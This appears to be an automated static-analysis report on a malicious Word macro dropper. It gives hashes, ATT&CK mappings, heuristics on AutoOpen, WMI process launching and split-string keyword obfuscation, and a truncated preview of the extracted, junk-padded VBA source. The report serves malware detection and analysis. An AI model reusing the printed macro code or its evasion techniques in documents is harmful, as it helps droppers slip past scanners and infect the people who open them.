Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a6a7e85b14e8c9f7…

MALICIOUS

Office (OLE)

175.1 KB Created: 2019-05-09 17:45:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 4029e38cff0a24ffb3eac242068df132 SHA-1: 704ed4fb63c601fda86a4866eaa35d412c4e696a SHA-256: a6a7e85b14e8c9f713e137d0ff25c317c9b03f2faa318887ecccdba35a218e50
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1137.001 DLL Search Order Hijacking T1059 Command and Scripting Interpreter

The sample contains VBA macros, including an auto-executing 'autoopen' macro, which is a strong indicator of malicious intent. The macros utilize WMI (Win32_Process.Create) via obfuscated API calls (reassembled 'winmgmts') to launch processes, a common technique for executing downloaded payloads. The ClamAV detection 'Doc.Dropper.Agent-6966401-0' further supports its classification as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6966401-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6966401-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 43022 bytes
SHA-256: 12e667e9b3237f14b409717c657aafa1dc01e56df6dc6ed55853d4f76c7b87a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "B6108955"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "F15429"
Attribute VB_Base = "0{F7AEC335-83AB-407F-BE00-CC619A70DC49}{CD4CF7E8-CE66-4EF7-A1BA-E559BB585E7E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "F3_952"

Attribute VB_Name = "J0536822"

Attribute VB_Name = "N7788748"

Attribute VB_Name = "Z27_83"

Attribute VB_Name = "s9203027"

Attribute VB_Name = "b52_6831"

Attribute VB_Name = "Q825387"

Attribute VB_Name = "i3_6595"

Attribute VB_Name = "q6_83_"
Attribute VB_Base = "0{31E9B1DF-5E8A-4D2E-93FE-DC6493918584}{366CD540-B076-4538-AC65-03CCE723149F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "j21_30"
Function c81166_(o30396)
         While G7229771 And O137677
Select Case w8_162_8
         Case n64__341
            B3680669 = Log(c435613)
            z0_6250 = 980366862
            T36910 = Int(N3_823 + CLng(U406_19))
         Case u2943_65
            H17279 = L8488901
            d45520 = Cos(153269693)
            q1463827 = CStr(330858079)
End Select
      Wend
         While B128743 And B_071_50
Select Case E60910
         Case d1313459
            G9184_ = Log(G6461_09)
            I319678_ = 642431198
            f2483993 = Int(t62976 + CLng(P26357_2))
         Case b_5443
            z902268 = n_1017
            q359981 = Cos(478042632)
            W9630337 = CStr(251490308)
End Select
      Wend
Set c81166_ = CVar(o30396)
         While b8359_1 And k9469816
Select Case J939291
         Case l95266
            f0441981 = Log(G752_062)
            v18899 = 808506213
            d910_5 = Int(O2_791 + CLng(j9707758))
         Case d2863_89
            F86848 = u8218021
            n_5532 = Cos(884622483)
            m0_0_6_ = CStr(781093032)
End Select
      Wend
         While G54560 And l0349_
Select Case P24017
         Case f542841_
            V860278 = Log(N_1716)
            N77166 = 354024360
            c66504 = Int(d875183 + CLng(i_60474))
         Case T04_2221
            O85833 = o03059_0
            M3_242 = Cos(938899852)
            i763_8 = CStr(59754062)
End Select
      Wend
         While o0492618 And a4_218
Select Case z69525
         Case I861905
            j892_4 = Log(I2_4097_)
            Z_580274 = 375098906
            V8021514 = Int(K65138 + CLng(s_16__))
         Case z9877_2
            a2395683 = a18765
            M8_8_45 = Cos(394165218)
            Y644239 = CStr(594074891)
End Select
      Wend
End Function
Sub _
autoopen()
On Error Resume Next
         While r6_73526 And P429_88
Select Case a17584
         Case F_73156_
            W833845 = Log(W887_5)
            s41347 = 666925634
            h530895 = Int(N_4431 + CLng(G15470))
         Case f86522
            H8_139 = d821_71
            F6873173 = Cos(739516046)
            t82251 = CStr(162195872)
End Select
      Wend
         While r98693 And U9448252
Select Case Q16756_
         Case A055252
            n75416 = Log(w35410)
            K68342 = 615491629
            c1143065 = Int(P2__103 + CLng(M1__240))
         Case Y_7_366
            o840__6_ = a8417_
            j2_14___ = Cos(211022618)
            u56636 = CStr(859381382)
End Select
      Wend
Call P255599
         While c4646973 And S9964348
Select Case u803799
         Case o52490
            d6_29_7 = Log(A7371070)
            V4881110 = 278893779
            B7_7933 = Int(i38992 + CLng(o7658__))
         Case o028
... (truncated)